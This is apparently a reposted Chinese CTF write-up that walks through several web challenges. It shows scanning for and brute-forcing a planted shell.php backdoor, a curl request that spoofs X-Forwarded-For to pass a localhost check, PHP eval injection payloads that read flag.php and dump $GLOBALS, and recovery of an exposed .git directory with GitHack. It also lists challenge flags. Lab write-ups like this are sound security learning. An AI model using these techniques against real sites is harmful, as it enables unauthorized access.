介绍:记录解题过程
12.web11
描 述: 网站被黑了 黑客会不会留下后门
-
先用御剑进行扫描,可以获得网站后台 http://114.67.246.176:14175/shell.php,
-
然后利用Burpsuite暴力破解。
密码是:hack
flag{219622b0bf43fe45a8cfa2bca9650de7}
13.web12
- 改成本地
X-Forwarded-For:127.0.0.1
test123
- 本地管理员什么就用admin,root…去试
curl -d 'user=admin&pass=test12Mw' -H 'X-Forwarded-For: 127.0.0.1' "http://114.67.246.176:16988/"
13. web8
描 述: 文件包含
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
php var_dump 函数作用是判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型.
- show_source()
/?hello=show_source(%27flag.php%27)
14.web9
描 述: 题目已修复
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
preg_match 函数用于执行一个正则表达式匹配。
超级全局变量
PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。在函数或方法中无需执行 global $variable; 就可以访问它们。
$GLOBALS 所有全局变量数组
$_SERVER 服务器环境变量数组
$_GET 通过GET方法传递给该脚本的变量数组
$_POST 通过POST方法传递给该脚本的变量数组
$_COOKIE cookie变量数组
$_FILES 与文件上载相关的变量数组
$_ENV 环境变量数组
$_REQUEST 所有用户输入的变量数组
$_SESSION 会话变量数组
PHP变量作用域,全局变量和局部变量,global和GLOBALS
- php 环境变量GLOBALS
/?args=GLOBALS
15.web10
描 述: 头等舱
16.社工-伪造
17.web40
描述: 我哥说渗透我只用linux环境
- 假flag
<html>
<head>
<body>
<p>Hello,world!<p>
<p>This is my friend :<!--tig--></p>
<!--flag{Zmxhz19ub3RfaGvyzSEHIQ==}-->
</body>
</head>
</html>
- 一看Linux系统 先用dirb 扫描,发现存在.git目录
python2 GitHack.py http://114.67.246.176:18015/.git/
......
[+] Clone Success. Dist File : F:\CTF\渗透工具\2020_2\GitHack\GitHack-master\dist\114.67.246.176_18015
- cd 得到的文件夹,git reflog (查看执行的命令日志)
F:\CTF\渗透工具\2020_2\GitHack\GitHack-master\dist\114.67.246.176_18015>git reflog
d256328 (HEAD -> master) HEAD@{0}: reset: moving to HEAD
d256328 (HEAD -> master) HEAD@{1}: reset: moving to d25632
e0b8e8e HEAD@{4}: reset: moving to e0b8e
d256328 (HEAD -> master) HEAD@{7}: commit: flag is here?
e0b8e8e HEAD@{8}: commit (initial): this is index.html
- git show commit_id (查看某次commit的内容) 成功得到flag
- 版本都回退一遍 git reset –hard 版本号
在这里插入代码片
然后执行 git checkout – flag.txt 将暂存区的 flag.txt 还原到工作区
git reset 13ce8d0 //回退到该版本的版本库 多试几个commit id
git status
git checkout -- flag.txt
//将暂存区的 flag.txt 还原到工作区
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92698.html